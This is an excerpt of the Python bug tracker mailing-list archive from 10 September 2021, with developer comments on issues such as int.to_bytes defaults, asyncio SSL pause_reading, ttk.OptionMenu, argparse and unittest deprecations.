https://github.com/python/cpython/commit/89edd18779e382c5fa7f57722b0b897a907ed2c4


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 23:59:35 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 10 Sep 2021 03:59:35 +0000
Subject: [issue23864] doc: issubclass without registration only works for
 "one-trick pony" collections ABCs.
In-Reply-To: <1428145067.47.0.0726533343331.issue23864@psf.upfronthosting.co.za>
Message-ID: <1631246375.03.0.123956017626.issue23864@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
assignee: docs at python -> rhettinger
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 00:00:18 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 10 Sep 2021 04:00:18 +0000
Subject: [issue45024] Cannot extend collections ABCs with protocol
In-Reply-To: <1630027789.49.0.847415585989.issue45024@roundup.psfhosted.org>
Message-ID: <1631246418.18.0.275031465923.issue45024@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
assignee: docs at python -> rhettinger
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.10, Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 00:04:15 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 10 Sep 2021 04:04:15 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631246655.52.0.530354993395.issue45155@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

Serhiy is likely thinking of other the other cases.  Prior to this discussion, the principal use for to_bytes and from_bytes was for integers larger than a single byte.  If we're going to add a *byteorder* default, it needs to make sense for those cases as well.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 00:23:52 2021
From: report at bugs.python.org (Christopher Brichford)
Date: Fri, 10 Sep 2021 04:23:52 +0000
Subject: [issue45159] data_received called on protocol after call to
 pause_reading on ssl transport
Message-ID: <1631247832.37.0.646410094935.issue45159@roundup.psfhosted.org>


New submission from Christopher Brichford :

An SSL connection created with loop.create_connection may have data_received called on its protocol after pause_reading has been called on the transport.

If an application has a protocol whose data_received method calls pause_reading on the transport then there is a chance that the data_received method will be called again before the application calls resume_reading on the transport.

That existing implementation of pause_reading at:
https://github.com/python/cpython/blob/62fa613f6a6e872723505ee9d56242c31a654a9d/Lib/asyncio/sslproto.py#L335

calls pause_reading on the underlying socket transport, which is correct.  However, there is a loop in the SSLProtocol's data_received method:
https://github.com/python/cpython/blob/62fa613f6a6e872723505ee9d56242c31a654a9d/Lib/asyncio/sslproto.py#L335

If the loop referenced above has more than one iteration then there is a chance that the application protocol's data_received method could call pause_reading on the transport.  If that happens on any iteration of the loop other than the last iteration, then the SSLProtocol's data_received method will call the application protocol's data_received method when it should not.

Stealing uvloop's asyncio ssl implementation would resolve this bug: https://bugs.python.org/issue44011

----------
components: asyncio
messages: 401553
nosy: asvetlov, chrisb2, yselivanov
priority: normal
severity: normal
status: open
title: data_received called on protocol after call to pause_reading on ssl transport
type: behavior
versions: Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 00:42:35 2021
From: report at bugs.python.org (paul j3)
Date: Fri, 10 Sep 2021 04:42:35 +0000
Subject: [issue41255] Argparse.parse_args exits on unrecognized option with
 exit_on_error=False
In-Reply-To: <1594284033.21.0.100091861021.issue41255@roundup.psfhosted.org>
Message-ID: <1631248955.73.0.30170549308.issue41255@roundup.psfhosted.org>


paul j3  added the comment:

In

https://stackoverflow.com/questions/69108632/unable-to-catch-exception-error-for-argparse

we found that `exit_on_error` does not work when the error occurs in a subparser.

Unless someone wants to take time to get this right, I think this feature should be removed.  It's too buggy.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 01:35:02 2021
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Fri, 10 Sep 2021 05:35:02 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631252102.17.0.388912202676.issue45155@roundup.psfhosted.org>


Vedran ?a?i?  added the comment:

> choose one for the default so that default encoding/decoding will work cross platform.  I think "little" is the most common (intel and arm).

Raymond, please don't do this. We already have a "sensible default" in a network context, and it is big endian. Having another "sensible default" opposite to the previous one is really no way to ensure interoperability. (https://xkcd.com/927/ only becomes more ridiculous when the number in question is 2.:) I don't want to think about whether the way machines A and B exchange data can be called "a network" or not.

Of course, having the byteorder optional when there's only one (unsigned) byte is good.

----------
nosy: +veky

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 03:03:59 2021
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 10 Sep 2021 07:03:59 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631257439.99.0.904568595094.issue45155@roundup.psfhosted.org>


Mark Dickinson  added the comment:

I'd also really like to avoid a system-dependent default. The danger is that code of the form

    some_externally_supplied_integer.to_bytes(length=4)

can be written and thoroughly tested, only to fail unexpectedly some time later when that code happens to meet a big-endian machine. In most real-world cases with input length >= 1, it's unlikely that the system byteorder is the right thing, especially for from_bytes: what you need to know is what endianness the integer was encoded with, and that's not likely to be well correlated with the endianness that the machine you're running on right now happens to be using. (The choice of default obviously doesn't matter in cases where you're encoding and decoding on the same system, but there are going to be plenty of cases where that's not true.)

This is essentially the same issue that PEP 597 starts to address with `open(filename)` with no encoding specified. That system-specific default encoding has caused us real issues in production code.

----------
nosy: +mark.dickinson

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 03:13:00 2021
From: report at bugs.python.org (fhdrsdg)
Date: Fri, 10 Sep 2021 07:13:00 +0000
Subject: [issue45160] ttk.OptionMenu radiobuttons change variable value twice
Message-ID: <1631257980.33.0.506661911605.issue45160@roundup.psfhosted.org>


New submission from fhdrsdg :

Found when trying to answer this SO question: https://stackoverflow.com/questions/53171384/tkinter-function-repeats-itself-twice-when-ttk-widgets-are-engaged

The ttk.OptionMenu uses radiobuttons for the dropdown menu, whereas the tkinter.OptionMenu uses commands. Both of them use `_setit` as command, presumably first used for tkinter and then copied to the ttk implementation. The `_setit` does two things: changing the associated `variable` and calling the associated callback function. This is needed for the tkinter.OptionMenu since commands don't support changing a `variable`.

However, for the ttk.OptionMenu an additional reference to the variable was added to the radiobutton following this issue: https://bugs.python.org/issue25684. This was needed to group radiobuttons, but now leads to the variable being changed twice: once by the radiobutton and once through `_setit`. When tracing the variable this leads to the tracing callback being called twice on only one change of the OptionMenu.

The solution is to not use `_setit` for the radiobutton command but instead just use `command=self._callback`

----------
components: Tkinter
messages: 401557
nosy: fhdrsdg
priority: normal
severity: normal
status: open
title: ttk.OptionMenu radiobuttons change variable value twice
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 03:34:18 2021
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 10 Sep 2021 07:34:18 +0000
Subject: [issue39442] from __future__ import annotations makes
 dataclasses.Field.type a string, not type
In-Reply-To: <1579866520.75.0.652812484582.issue39442@roundup.psfhosted.org>
Message-ID: <1631259258.24.0.270958956121.issue39442@roundup.psfhosted.org>


Inada Naoki  added the comment:

I think pydantic approach is the best practice.
See https://pydantic-docs.helpmanual.io/usage/postponed_annotations/

----------
nosy: +methane

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 03:45:36 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 07:45:36 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631259936.62.0.967959135692.issue45152@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

>From my experience, the largest cost in importing module (after I/O) is for creating classes, especially classes with complex creation code: enums and dataclasses (and namedtuples in past, but they were significanly optimized since).

For I/O, would using zipimport or any other container help? It should reduce the number of stats and opens and allow to use compression.

As for increasing performance of demarshallization, it is already very fast (all is read from memory buffers, all repeated objects are cached). Switching to "wordcode" (32- or 64- bit instructions) and aligning all objects at the boundary of 4-8 bytes can marginally increase decoding speed, but it needs testing. Also more optimal using of references (like pickletools.optimize()) can reduce unmarshalling time at the cost of increasing marshalling time and memory consumption. It can also help with deterministic marshalling.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 03:48:20 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Fri, 10 Sep 2021 07:48:20 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631260100.52.0.00481104567541.issue45155@roundup.psfhosted.org>


Petr Viktorin  added the comment:

Exactly, a platform-dependent default is a bad idea. A default allows using the function without the code author & reviewer even being *aware* that there is a choice, and that is dangerous.

----------
nosy: +petr.viktorin

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 04:08:43 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Fri, 10 Sep 2021 08:08:43 +0000
Subject: [issue45126] [sqlite3] cleanup and harden Connection and Cursor
 __init__
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631261323.0.0.455254093006.issue45126@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

Updated title to include sqlite3.Cursor as well, since cursors and connections are very much entwined.

----------
title: [sqlite3] cleanup and harden connection init -> [sqlite3] cleanup and harden Connection and Cursor __init__

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 04:13:48 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 08:13:48 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631261628.01.0.0174685999083.issue45152@roundup.psfhosted.org>


Irit Katriel  added the comment:

> (b) the allocation and initialization of a large number of objects

Yes, when I profiled import GC showed up as 20-30%.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 04:38:22 2021
From: report at bugs.python.org (Sylvain Marie)
Date: Fri, 10 Sep 2021 08:38:22 +0000
Subject: [issue44452] Allow paths to be joined without worrying about a
 leading slash
In-Reply-To: <1624021106.97.0.804015487667.issue44452@roundup.psfhosted.org>
Message-ID: <1631263102.08.0.316162947386.issue44452@roundup.psfhosted.org>


Sylvain Marie  added the comment:

+1 on this, I am totally in line with the original post.

The / operator semantics should not imply any notion of drive or of "cd" command on a shell. It should simply stick to "concatenate", i.e. "create child path" (and actually this is what the doc states https://docs.python.org/3/library/pathlib.html#operators ) 

Thanks Zbyszek for putting this on the table !

----------
nosy: +smarie

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 04:40:03 2021
From: report at bugs.python.org (Ronald Oussoren)
Date: Fri, 10 Sep 2021 08:40:03 +0000
Subject: [issue45161] _Py_DecodeUTF8_surrogateescape not exported from 3.10
 framework build
Message-ID: <1631263203.32.0.990187656459.issue45161@roundup.psfhosted.org>


New submission from Ronald Oussoren :

The symbol _Py_DecodeUTF8_surrogateescape is not exported from Python.framework on macOS in Python 3.10.  The symbol was exported in earlier versions of 3.x.

I'm not sure if this was intentional, so far I haven't been able to find when this was changed.

This change breaks py2app which uses _Py_DecodeUTF8_surrogateescape to convert the C argv array to an array of 'wchar_t*' for use with Python's C API.

----------
components: C API, macOS
messages: 401564
nosy: ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: _Py_DecodeUTF8_surrogateescape not exported from 3.10 framework build
versions: Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 04:55:22 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Fri, 10 Sep 2021 08:55:22 +0000
Subject: [issue43853] [sqlite3] Improve sqlite3_value_text() error handling
In-Reply-To: <1618480809.83.0.17163581819.issue43853@roundup.psfhosted.org>
Message-ID: <1631264122.02.0.915063635941.issue43853@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

Serhiy, I believe I've addressed your review remarks on PR 27642. Would you mind taking a look at it again if you have time?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 05:28:11 2021
From: report at bugs.python.org (Ronald Oussoren)
Date: Fri, 10 Sep 2021 09:28:11 +0000
Subject: [issue45161] _Py_DecodeUTF8_surrogateescape not exported from 3.10
 framework build
In-Reply-To: <1631263203.32.0.990187656459.issue45161@roundup.psfhosted.org>
Message-ID: <1631266091.31.0.912313338491.issue45161@roundup.psfhosted.org>


Ronald Oussoren  added the comment:

I've switched py2app to Py_DecodeLocale, which is a public API introduced in 3.5 to accomplish the same task. 

I'm leaving the issue open in case hiding the symbol is unintentional.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 06:08:50 2021
From: report at bugs.python.org (E. Paine)
Date: Fri, 10 Sep 2021 10:08:50 +0000
Subject: [issue45160] ttk.OptionMenu radiobuttons change variable value twice
In-Reply-To: <1631257980.33.0.506661911605.issue45160@roundup.psfhosted.org>
Message-ID: <1631268530.71.0.142665441299.issue45160@roundup.psfhosted.org>


E. Paine  added the comment:

Thank you for reporting this issue (and doing your research!). I don't think we could use `command=self._callback` since this wouldn't pass the new value, but something like `command=lambda val=val: self._callback(val)` would work perfectly. Would you like to open a pull request for this (with accompanying news entry and test), or would you rather I did it?

----------
nosy: +epaine, serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 06:15:06 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 10:15:06 +0000
Subject: [issue45162] Remove old deprecated unittest features
Message-ID: <1631268906.05.0.258489564429.issue45162@roundup.psfhosted.org>


New submission from Serhiy Storchaka :

The proposed PR removes the following unittest features:

* "fail*" and "assert*" aliases of TestCase methods.
* Broken from start TestCase method assertDictContainsSubset().
* Ignored TestLoader.loadTestsFromModule() parameter use_load_tests.
* Old alias _TextTestResult of TextTestResult.

Most features were deprecated in 3.2, "fail*" methods in 3.1, assertNotRegexpMatches in 3.5. They were kept mostly for compatibility with 2.7 (although some of them were new in Python 3 and not compatible with 2.7).

Using deprecated assertEquals instead of assertEqual is a common error which we need to fix regularly, so removing deprecated features will not only make the current code clearer, but save as from future errors.

----------
components: Library (Lib)
messages: 401568
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Remove old deprecated unittest features
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 06:17:22 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 10:17:22 +0000
Subject: [issue45162] Remove old deprecated unittest features
In-Reply-To: <1631268906.05.0.258489564429.issue45162@roundup.psfhosted.org>
Message-ID: <1631269042.18.0.0406219350476.issue45162@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
nosy: +ezio.melotti, michael.foord, rbcollins

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 06:23:10 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 10:23:10 +0000
Subject: [issue45162] Remove old deprecated unittest features
In-Reply-To: <1631268906.05.0.258489564429.issue45162@roundup.psfhosted.org>
Message-ID: <1631269390.28.0.683741575631.issue45162@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
keywords: +patch
pull_requests: +26688
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28268

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 06:45:55 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 10:45:55 +0000
Subject: [issue16591] RUNSHARED wrong for OSX no framework
In-Reply-To: <1354390993.26.0.328076404417.issue16591@psf.upfronthosting.co.za>
Message-ID: <1631270755.04.0.202801167595.issue16591@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> duplicate
stage: patch review -> resolved
status: open -> closed
superseder:  -> many distutils tests fail when run from the installed location

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 06:50:49 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 10:50:49 +0000
Subject: [issue21658] __m128, can't build 3.4.1 with intel 14.0.0
In-Reply-To: <1401874255.53.0.168864202018.issue21658@psf.upfronthosting.co.za>
Message-ID: <1631271049.77.0.414025741166.issue21658@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> duplicate
superseder:  -> Intel icc 9.1 does not support __int128_t used by ctypes

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 07:02:21 2021
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 10 Sep 2021 11:02:21 +0000
Subject: [issue43592] test_importlib:
 test_multiprocessing_pool_circular_import() fails with "Too many open files"
 error on os.pipe()
In-Reply-To: <1616409182.92.0.0882668450853.issue43592@roundup.psfhosted.org>
Message-ID: <1631271741.28.0.742015271083.issue43592@roundup.psfhosted.org>


STINNER Victor  added the comment:

FYI the test is still failing with the same error on the billenstein-macos builder worker, x86-64 macOS 3.10:
https://buildbot.python.org/all/#/builders/681/builds/370

"OSError: [Errno 24] Too many open files"

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 07:06:54 2021
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 10 Sep 2021 11:06:54 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631272014.58.0.175676511772.issue45155@roundup.psfhosted.org>


STINNER Victor  added the comment:

I dislike the idea of adding a default length to int.to_bytes(). The length changes the meaning of the output:

>>> (1).to_bytes(2, 'big')
b'\x00\x01'
>>> (1).to_bytes(1, 'big')
b'\x01'

If the intent is to "magically cast an integer to a byte strings", having a fixed length of 1 doesn't help:

>>> (1000).to_bytes(1, "big")
OverflowError: int too big to convert

If the intent is to create a bytes string of length 1, I'm not sure that "re-using" this existing API for that is a good idea.

----------
nosy: +vstinner

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 07:30:29 2021
From: report at bugs.python.org (David CARLIER)
Date: Fri, 10 Sep 2021 11:30:29 +0000
Subject: [issue45163] Haiku build fix
Message-ID: <1631273429.49.0.723757834418.issue45163@roundup.psfhosted.org>


Change by David CARLIER :


----------
components: Library (Lib)
nosy: devnexen
priority: normal
pull_requests: 26689
severity: normal
status: open
title: Haiku build fix
type: compile error
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 07:45:38 2021
From: report at bugs.python.org (daniel capelle)
Date: Fri, 10 Sep 2021 11:45:38 +0000
Subject: [issue45164] int.to_bytes()
Message-ID: <1631274338.6.0.95342526397.issue45164@roundup.psfhosted.org>


New submission from daniel capelle :

for example check:
(6500).to_bytes(2, 'big')
result is:
b'\x19d'
but was expected to be:
b'\x1964'
since 
ord('d') is 100 = 0x64 there seems to be hex and char representation mixed up.

----------
messages: 401571
nosy: hypnoticum
priority: normal
severity: normal
status: open
title: int.to_bytes()
type: behavior
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 07:53:14 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 11:53:14 +0000
Subject: [issue45164] int.to_bytes()
In-Reply-To: <1631274338.6.0.95342526397.issue45164@roundup.psfhosted.org>
Message-ID: <1631274794.22.0.366116015254.issue45164@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

b'\x1964' is a 3-bytes bytes object.

>>> b = b'\x1964'
>>> len(b)
3
>>> b[0], b[1], b[2]
(25, 54, 52)

What you what to get is b'\x19\x64'. And it is a different writing of b'\x19d', because b'\x64' is the same as b'd'.

>>> b'\x19\x64'
b'\x19d'

----------
nosy: +serhiy.storchaka
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 07:59:01 2021
From: report at bugs.python.org (daniel capelle)
Date: Fri, 10 Sep 2021 11:59:01 +0000
Subject: [issue45164] int.to_bytes()
In-Reply-To: <1631274338.6.0.95342526397.issue45164@roundup.psfhosted.org>
Message-ID: <1631275141.9.0.987052537141.issue45164@roundup.psfhosted.org>


daniel capelle  added the comment:

for example check:
(6500).to_bytes(2, 'big')
result is:
b'\x19d'
but was expected to be:
b'\x19\x64'
since 
ord('d') is 100 = 0x64 there seems to be hex and char representation mixed up.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 08:15:49 2021
From: report at bugs.python.org (daniel capelle)
Date: Fri, 10 Sep 2021 12:15:49 +0000
Subject: [issue45164] int.to_bytes()
In-Reply-To: <1631274338.6.0.95342526397.issue45164@roundup.psfhosted.org>
Message-ID: <1631276149.05.0.819859005302.issue45164@roundup.psfhosted.org>


daniel capelle  added the comment:

An ASCII representation is shown instead of the hexadecimal value, if there is any. 
I was not aware this is an intended behaviour.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 08:23:24 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 12:23:24 +0000
Subject: [issue45132] Remove deprecated __getitem__ methods
In-Reply-To: <1631039735.38.0.446517893584.issue45132@roundup.psfhosted.org>
Message-ID: <1631276604.01.0.762024188834.issue45132@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
pull_requests: +26690
pull_request: https://github.com/python/cpython/pull/28270

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 08:26:22 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 12:26:22 +0000
Subject: [issue40563] Support pathlike objects on dbm/shelve
In-Reply-To: <1588949755.54.0.0616905460961.issue40563@roundup.psfhosted.org>
Message-ID: <1631276782.34.0.44686861028.issue40563@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset 707137b8637feef37b2e06a851fdca9d1b945861 by Henry-Joseph Aud?oud in branch 'main':
bpo-40563: Support pathlike objects on dbm/shelve (GH-21849)
https://github.com/python/cpython/commit/707137b8637feef37b2e06a851fdca9d1b945861


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 08:38:18 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 12:38:18 +0000
Subject: [issue40563] Support pathlike objects on dbm/shelve
In-Reply-To: <1588949755.54.0.0616905460961.issue40563@roundup.psfhosted.org>
Message-ID: <1631277498.32.0.113302110067.issue40563@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Thank you for your contribution, Hakan, Henry-Joseph.

Sorry, David, there was already a PR, and it was not dead, it just waited for a coredev review.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 08:40:15 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 12:40:15 +0000
Subject: [issue45132] Remove deprecated __getitem__ methods
In-Reply-To: <1631039735.38.0.446517893584.issue45132@roundup.psfhosted.org>
Message-ID: <1631277615.42.0.00270046489336.issue45132@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset 17a1b3e63a5db4e581c0ef52751df2314f7249fa by Serhiy Storchaka in branch 'main':
bpo-45132: Fix the reStructuredText markup error. (GH-28270)
https://github.com/python/cpython/commit/17a1b3e63a5db4e581c0ef52751df2314f7249fa


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 08:55:25 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 12:55:25 +0000
Subject: [issue21658] __m128, can't build 3.4.1 with intel 14.0.0
In-Reply-To: <1401874255.53.0.168864202018.issue21658@psf.upfronthosting.co.za>
Message-ID: <1631278525.83.0.292987624793.issue21658@roundup.psfhosted.org>


Change by Irit Katriel :


----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 09:45:35 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 13:45:35 +0000
Subject: [issue23575] MIPS64 needs ffi's n32.S
In-Reply-To: <1425400037.86.0.872792301422.issue23575@psf.upfronthosting.co.za>
Message-ID: <1631281535.34.0.613945429977.issue23575@roundup.psfhosted.org>


Irit Katriel  added the comment:

The code has changed since this issue was created - I can't find the file that the patch modifies nor the code it contains (I searched for ffi_platforms and MIPS_LINUX). 

Please create a new issue if you are seeing issues like this on a current python version (>= 3.9).

----------
nosy: +iritkatriel
resolution:  -> out of date
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 10:11:10 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 14:11:10 +0000
Subject: [issue27491] Errors when building with UNICODE character set
In-Reply-To: <1468301219.72.0.359104811522.issue27491@psf.upfronthosting.co.za>
Message-ID: <1631283070.84.0.743578363356.issue27491@roundup.psfhosted.org>


Irit Katriel  added the comment:

I compared the patch with the current codebase and most of it is out of date.

Minmin, are you still seeing these problems on a current version (>= 3.9)?  If so, please report:

1. Exactly what you did, and which system/compiler you are using
2. What the output was
3. If you can, the patch to fix the issue

----------
nosy: +iritkatriel
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 10:33:57 2021
From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=)
Date: Fri, 10 Sep 2021 14:33:57 +0000
Subject: [issue25625] "chdir" Contex manager for pathlib
In-Reply-To: <1447523143.32.0.921942004004.issue25625@psf.upfronthosting.co.za>
Message-ID: <1631284437.12.0.845390638669.issue25625@roundup.psfhosted.org>


Change by Filipe La?ns :


----------
pull_requests: +26691
pull_request: https://github.com/python/cpython/pull/28271

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 10:43:09 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 14:43:09 +0000
Subject: [issue27509] Some tests breaks PGO build on Windows
In-Reply-To: <1468478211.0.0.475693084569.issue27509@psf.upfronthosting.co.za>
Message-ID: <1631284989.85.0.744551584263.issue27509@roundup.psfhosted.org>


Irit Katriel  added the comment:

Python 3.5 is no longer in maintenance. Please create a new issue if you are still seeing this problem on a current version (>= 3.9).

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 10:54:34 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 14:54:34 +0000
Subject: [issue877121] configure detects incorrect compiler optimization
Message-ID: <1631285674.59.0.400269775758.issue877121@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 10:59:27 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 14:59:27 +0000
Subject: [issue33347] zlibmodule undefined reference
In-Reply-To: <1524567960.98.0.682650639539.issue33347@psf.upfronthosting.co.za>
Message-ID: <1631285967.15.0.287800465425.issue33347@roundup.psfhosted.org>


Irit Katriel  added the comment:

The report only shows output for 2.7. Is this issue really relevant to 3.x?

----------
nosy: +iritkatriel
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:05:22 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Fri, 10 Sep 2021 15:05:22 +0000
Subject: [issue42119] Error when debugging logging.FileHandler subclass
 __init__ method
In-Reply-To: <1603384667.68.0.88562918356.issue42119@roundup.psfhosted.org>
Message-ID: <1631286322.82.0.504723081989.issue42119@roundup.psfhosted.org>


Change by Andrei Kulakov :


----------
nosy: +kj
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:10:56 2021
From: report at bugs.python.org (Anthony Sottile)
Date: Fri, 10 Sep 2021 15:10:56 +0000
Subject: [issue45165] alighment format for nullable values
Message-ID: <1631286656.15.0.899331692277.issue45165@roundup.psfhosted.org>


New submission from Anthony Sottile :

currently this works correctly:

```
>>> '%8s %8s' % (None, 1)
'    None        1'
```

but conversion to f-string fails:

```
>>> f'{None:>8} {1:>8}'
Traceback (most recent call last):
  File "", line 1, in 
TypeError: unsupported format string passed to NoneType.__format__
```

my proposal is to implement alignment `__format__` for `None` following the same as for `str` for alignment specifiers

----------
components: Interpreter Core
messages: 401582
nosy: Anthony Sottile
priority: normal
severity: normal
status: open
title: alighment format for nullable values
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:39:04 2021
From: report at bugs.python.org (Eric V. Smith)
